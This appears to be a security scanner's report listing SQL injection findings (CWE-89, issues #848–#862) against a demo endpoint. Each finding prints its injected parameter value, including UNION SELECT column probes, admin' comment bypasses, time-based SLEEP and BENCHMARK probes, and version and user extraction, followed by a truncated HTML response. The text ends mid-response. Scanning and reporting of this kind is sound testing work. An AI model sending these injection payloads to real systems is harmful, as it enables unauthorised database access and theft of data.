BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #848
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #849
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin' --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #850
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #851
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-89
Issue Number #852
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('
A')),4,5--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #853
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #854
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK
(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #855Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1) or sleep(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #856
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #857
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #858
SQL InjectionScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('
A')),4,5,6
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #859
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AS INJECTX WHERE 1=1 AND 1=0#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #860
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #861
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io benchmark(50000000,MD5(1))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #862
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
